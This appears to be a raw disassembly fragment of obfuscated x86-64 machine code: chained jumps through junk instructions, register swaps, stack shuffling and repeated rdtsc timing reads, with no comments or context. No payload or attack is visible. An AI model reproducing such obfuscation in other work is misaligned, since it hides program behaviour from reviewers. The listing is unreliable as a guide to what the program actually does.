cmp r9d, 0xddff23cd
sets dil
jmp 0x2a4e65
xchg rdi, rdx
mov r14w, dx
bswap rax
btr r14w, r14w
cmc
xchg dl, r12b
jmp 0x2a4da6
lea r9, [r11 + r13]
mov byte [rsp + 3], r9b
mov edi, r11d
xchg dil, r9b
rdtsc
rdtsc
jmp 0x2a4dbc
xchg r14d, edi
push word [rsp + 0x2e]
xchg word [rsp + 0xf], r12w
jmp 0x2a4e3a
not cx
mov rax, rbp
lea rax, [rdi*4]
mov dword [rsp + 0xe], r13d
sub rsp, 0x1c
mov byte [rsp + 0x12], sil
jmp 0x2a4df0
xchg dword [rsp + 0x37], edi
neg dl
xchg r14b, cl
pop rdx
mov rcx, rbx
jmp 0x2a4fc5
bts rax, rbx
push qword [rsp + 0x29]
sub rsp, 2
mov dil, al
lea r12, [rdi + r8]
xchg dx, ax
jmp 0x2a4e24
push word [rsp + 1]
xchg word [rsp + 2], r9w
cld
mov word [rsp + 2], ax
sub rsp, 0x14
xchg edx, eax
jmp 0x2a4e06
lea rdi, [r10 + r12]
xor r14b, r14b
mov rax, rcx
xchg qword [rsp + 4], rdi
call fcn.002a4e7d
jmp 0x77af4c19
mov ax, r11w
bswap r9d
mov r14d, ebp
mov cx, word [rsp + 0xd]
mov r14d, dword [rsp + 0xd]
std
jmp 0x2a4e93
bswap r9d
rcr eax, 0x1d
xchg r12d, edi
xchg dx, r9w
rcl cl, 0
xchg al, r12b
jmp 0x2a4eb6
pop qword [rsp + 2]
ror r9d, 0x17
add rsp, 0x12
pop qword [rsp + 0xb]
xchg edx, r9d
mov r9, 0x61e81253
jmp 0x2a4eec
bt r14, rcx
shr rax, 0x27
bswap r12
mov r12b, 0x7c
lea rax, [0xffffffffa580cac2]
shl r12w, 0xe
jmp 0x2a4f45